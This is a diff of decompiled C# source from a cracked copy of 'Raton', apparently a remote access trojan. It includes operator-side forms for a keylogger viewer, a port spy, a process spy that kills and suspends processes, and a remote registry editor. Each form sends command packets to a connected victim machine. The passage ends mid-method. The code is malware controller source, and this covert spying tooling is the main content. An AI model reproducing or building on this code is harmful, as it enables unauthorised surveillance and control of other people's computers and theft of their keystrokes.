|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonKeylogger : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private Timer timer1;
|
||||
public TextBox textBox1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonKeylogger()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonKeylogger_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonKeylogger));
|
||||
this.textBox1 = new TextBox();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Cursor = Cursors.Default;
|
||||
this.textBox1.Dock = DockStyle.Fill;
|
||||
this.textBox1.Location = new Point(0, 0);
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.ScrollBars = ScrollBars.Vertical;
|
||||
this.textBox1.Size = new Size(600, 553);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(600, 553);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ratonKeylogger);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonKeylogger);
|
||||
this.Load += new EventHandler(this.ratonKeylogger_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,180 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonPorts
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonPorts : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
private ImageList imageList1;
|
||||
public Label label1;
|
||||
public AeroListView aeroListView1;
|
||||
public Timer timer1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem closeTCPToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonPorts()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void ratonPorts_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Visible = true;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PortSpy");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void closeTCPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.aeroListView1.SelectedItems[0].SubItems[1].Text;
|
||||
this.label1.Visible = true;
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "ClosePort");
|
||||
pack1.SetString("Port", text);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "PortSpy");
|
||||
this.SillyClient.Send(pack2.Pacc());
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonPorts));
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.closeTCPToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3,
|
||||
this.columnHeader4
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.Dock = DockStyle.Fill;
|
||||
this.aeroListView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(494, 505);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.Visible = false;
|
||||
this.columnHeader1.Text = "IP";
|
||||
this.columnHeader1.Width = 151;
|
||||
this.columnHeader2.Text = "Port";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 91;
|
||||
this.columnHeader3.Text = "Type";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 78;
|
||||
this.columnHeader4.Text = "Status";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 172;
|
||||
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.imageList1.Images.SetKeyName(0, "ListenFor_16x.png");
|
||||
this.imageList1.Images.SetKeyName(1, "Link_16x.png");
|
||||
this.imageList1.Images.SetKeyName(2, "Time_16x.png");
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(-3, 234);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(497, 13);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[2]
|
||||
{
|
||||
(ToolStripItem) this.closeTCPToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(128 /*0x80*/, 48 /*0x30*/);
|
||||
this.closeTCPToolStripMenuItem.Image = (Image) Resources.CloseLog_16x;
|
||||
this.closeTCPToolStripMenuItem.Name = "closeTCPToolStripMenuItem";
|
||||
this.closeTCPToolStripMenuItem.Size = new Size((int) sbyte.MaxValue, 22);
|
||||
this.closeTCPToolStripMenuItem.Text = "Close TCP";
|
||||
this.closeTCPToolStripMenuItem.Click += new EventHandler(this.closeTCPToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size((int) sbyte.MaxValue, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(494, 505);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonPorts);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonPorts);
|
||||
this.Load += new EventHandler(this.ratonPorts_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,283 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonProcess
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonProcess : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
private Timer timer2;
|
||||
public Label label1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem killProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem pauseProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem resumeProcessToolStripMenuItem;
|
||||
private ToolStripMenuItem refreshProcessToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator1;
|
||||
private ToolStripMenuItem processInformationToolStripMenuItem;
|
||||
public Timer timer1;
|
||||
public ImageList imageList1;
|
||||
private ColumnHeader columnHeader5;
|
||||
private ColumnHeader columnHeader6;
|
||||
private ColumnHeader columnHeader7;
|
||||
private ColumnHeader columnHeader8;
|
||||
public AeroListView aeroListView2;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonProcess()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void timer2_Tick(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = "This is taking too long, maybe bad connection?";
|
||||
}
|
||||
|
||||
private void Command(string command)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString(nameof (Command), command);
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonProcess_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.timer1.Start();
|
||||
this.timer2.Start();
|
||||
}
|
||||
|
||||
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Kill");
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void pauseProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Pause");
|
||||
}
|
||||
|
||||
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.Command("Resume");
|
||||
}
|
||||
|
||||
private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.aeroListView2.Visible = false;
|
||||
this.label1.Visible = true;
|
||||
this.label1.Text = "Please wait...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "List");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
public void changeColor(string name)
|
||||
{
|
||||
foreach (ListViewItem listViewItem in this.aeroListView2.Items)
|
||||
{
|
||||
if (string.Equals(listViewItem.Text.Trim(), name, StringComparison.OrdinalIgnoreCase))
|
||||
listViewItem.ForeColor = Color.LightCoral;
|
||||
}
|
||||
}
|
||||
|
||||
private void processInformationToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "ProcessSpy");
|
||||
pack.SetString("Command", "Info");
|
||||
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonProcess));
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.killProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.pauseProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.resumeProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new ToolStripSeparator();
|
||||
this.refreshProcessToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.processInformationToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.timer2 = new Timer(this.components);
|
||||
this.label1 = new Label();
|
||||
this.aeroListView2 = new AeroListView();
|
||||
this.columnHeader5 = new ColumnHeader();
|
||||
this.columnHeader6 = new ColumnHeader();
|
||||
this.columnHeader7 = new ColumnHeader();
|
||||
this.columnHeader8 = new ColumnHeader();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 177;
|
||||
this.columnHeader2.Text = "PID";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 81;
|
||||
this.columnHeader3.Text = "Status";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 119;
|
||||
this.columnHeader4.Text = "Process is";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 214;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[6]
|
||||
{
|
||||
(ToolStripItem) this.killProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.pauseProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.resumeProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator1,
|
||||
(ToolStripItem) this.refreshProcessToolStripMenuItem,
|
||||
(ToolStripItem) this.processInformationToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(181, 120);
|
||||
this.killProcessToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
||||
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
|
||||
this.killProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.killProcessToolStripMenuItem.Text = "Kill process";
|
||||
this.killProcessToolStripMenuItem.Click += new EventHandler(this.killProcessToolStripMenuItem_Click);
|
||||
this.pauseProcessToolStripMenuItem.Image = (Image) Resources.Pause_grey_16x;
|
||||
this.pauseProcessToolStripMenuItem.Name = "pauseProcessToolStripMenuItem";
|
||||
this.pauseProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.pauseProcessToolStripMenuItem.Text = "Pause process";
|
||||
this.pauseProcessToolStripMenuItem.Click += new EventHandler(this.pauseProcessToolStripMenuItem_Click);
|
||||
this.resumeProcessToolStripMenuItem.Image = (Image) Resources.ResumePhone_16x;
|
||||
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
|
||||
this.resumeProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.resumeProcessToolStripMenuItem.Text = "Resume process";
|
||||
this.resumeProcessToolStripMenuItem.Click += new EventHandler(this.resumeProcessToolStripMenuItem_Click);
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new Size(177, 6);
|
||||
this.refreshProcessToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshProcessToolStripMenuItem.Name = "refreshProcessToolStripMenuItem";
|
||||
this.refreshProcessToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.refreshProcessToolStripMenuItem.Text = "Refresh list";
|
||||
this.refreshProcessToolStripMenuItem.Click += new EventHandler(this.refreshProcessToolStripMenuItem_Click);
|
||||
this.processInformationToolStripMenuItem.Image = (Image) Resources.InformationSymbol_16x1;
|
||||
this.processInformationToolStripMenuItem.Name = "processInformationToolStripMenuItem";
|
||||
this.processInformationToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.processInformationToolStripMenuItem.Text = "Process information";
|
||||
this.processInformationToolStripMenuItem.Click += new EventHandler(this.processInformationToolStripMenuItem_Click);
|
||||
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new Size(20, 20);
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.timer2.Interval = 10000;
|
||||
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
||||
this.label1.BackColor = Color.Transparent;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(-3, 225);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(538, 125);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Please wait...";
|
||||
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
||||
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView2.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader5,
|
||||
this.columnHeader6,
|
||||
this.columnHeader7,
|
||||
this.columnHeader8
|
||||
});
|
||||
this.aeroListView2.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView2.Dock = DockStyle.Fill;
|
||||
this.aeroListView2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.aeroListView2.FullRowSelect = true;
|
||||
this.aeroListView2.HideSelection = false;
|
||||
this.aeroListView2.Location = new Point(0, 0);
|
||||
viewColumnSorter.Order = SortOrder.None;
|
||||
viewColumnSorter.SortColumn = 0;
|
||||
this.aeroListView2.LvwColumnSorter = viewColumnSorter;
|
||||
this.aeroListView2.Name = "aeroListView2";
|
||||
this.aeroListView2.Size = new Size(535, 591);
|
||||
this.aeroListView2.SmallImageList = this.imageList1;
|
||||
this.aeroListView2.TabIndex = 3;
|
||||
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView2.View = View.Details;
|
||||
this.aeroListView2.Visible = false;
|
||||
this.columnHeader5.Text = "Name";
|
||||
this.columnHeader5.Width = 209;
|
||||
this.columnHeader6.Text = "PID";
|
||||
this.columnHeader6.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader6.Width = 72;
|
||||
this.columnHeader7.Text = "State";
|
||||
this.columnHeader7.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader7.Width = 118;
|
||||
this.columnHeader8.Text = "Process is";
|
||||
this.columnHeader8.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader8.Width = 134;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(535, 591);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Controls.Add((Control) this.aeroListView2);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonProcess);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonProcess);
|
||||
this.Load += new EventHandler(this.ratonProcess_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,447 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonReg
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Microsoft.VisualBasic;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonReg : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TreeView treeView1;
|
||||
public DataGridView dataGridView1;
|
||||
private DataGridViewTextBoxColumn colName;
|
||||
private DataGridViewTextBoxColumn colType;
|
||||
private DataGridViewTextBoxColumn colData;
|
||||
private Timer timer1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private ToolStripMenuItem newKeyToolStripMenuItem;
|
||||
private ToolStripMenuItem renameToolStripMenuItem;
|
||||
private ToolStripMenuItem deleteToolStripMenuItem;
|
||||
private ContextMenuStrip contextMenuStrip2;
|
||||
private ToolStripMenuItem modifyToolStripMenuItem;
|
||||
private ToolStripMenuItem renameToolStripMenuItem1;
|
||||
private ToolStripMenuItem refreshToolStripMenuItem;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public string Perms { get; set; }
|
||||
|
||||
public ratonReg()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
this.SetupTreeView();
|
||||
this.SetupGrid();
|
||||
this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand);
|
||||
}
|
||||
|
||||
private void ratonReg_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void SetupTreeView()
|
||||
{
|
||||
this.treeView1.PathSeparator = "\\";
|
||||
this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand);
|
||||
}
|
||||
|
||||
private void SetupGrid()
|
||||
{
|
||||
this.dataGridView1.Columns.Clear();
|
||||
this.dataGridView1.Rows.Clear();
|
||||
this.dataGridView1.AllowUserToAddRows = false;
|
||||
this.dataGridView1.ReadOnly = true;
|
||||
this.dataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
|
||||
this.dataGridView1.MultiSelect = false;
|
||||
this.dataGridView1.RowHeadersVisible = false;
|
||||
this.dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;
|
||||
this.dataGridView1.Columns.Add("Name", "RegName");
|
||||
this.dataGridView1.Columns.Add("Type", "Type");
|
||||
this.dataGridView1.Columns.Add("Data", "Content");
|
||||
}
|
||||
|
||||
private void treeView1_AfterSelect(object sender, TreeViewEventArgs e)
|
||||
{
|
||||
string fullPath = this.GetFullPath(e.Node);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "GetValues");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private void TreeView1_BeforeExpand(object sender, TreeViewCancelEventArgs e)
|
||||
{
|
||||
if (e.Node.Nodes.Count != 1 || !(e.Node.Nodes[0].Text == "Loading..."))
|
||||
return;
|
||||
string fullPath = this.GetFullPath(e.Node);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "GetSubKeys");
|
||||
pack.SetString("Path", fullPath);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
|
||||
private string GetFullPath(TreeNode node)
|
||||
{
|
||||
string fullPath = node.Text;
|
||||
while (node.Parent != null)
|
||||
{
|
||||
node = node.Parent;
|
||||
fullPath = $"{node.Text}\\{fullPath}";
|
||||
}
|
||||
return fullPath;
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private async void newKeyToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.treeView1.SelectedNode == null)
|
||||
return;
|
||||
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
|
||||
string str = Interaction.InputBox("Enter new key name:", "New Key", "NewKey");
|
||||
if (string.IsNullOrWhiteSpace(str))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "RegistryRequest");
|
||||
pack.SetString("Action", "NewKey");
|
||||
pack.SetString("Path", fullPath);
|
||||
pack.SetString("NewKeyName", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
await Task.Delay(1000);
|
||||
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
|
||||
}
|
||||
}
|
||||
|
||||
private void renameToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (this.Perms == "User")
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
|
||||
}
|
||||
else
|
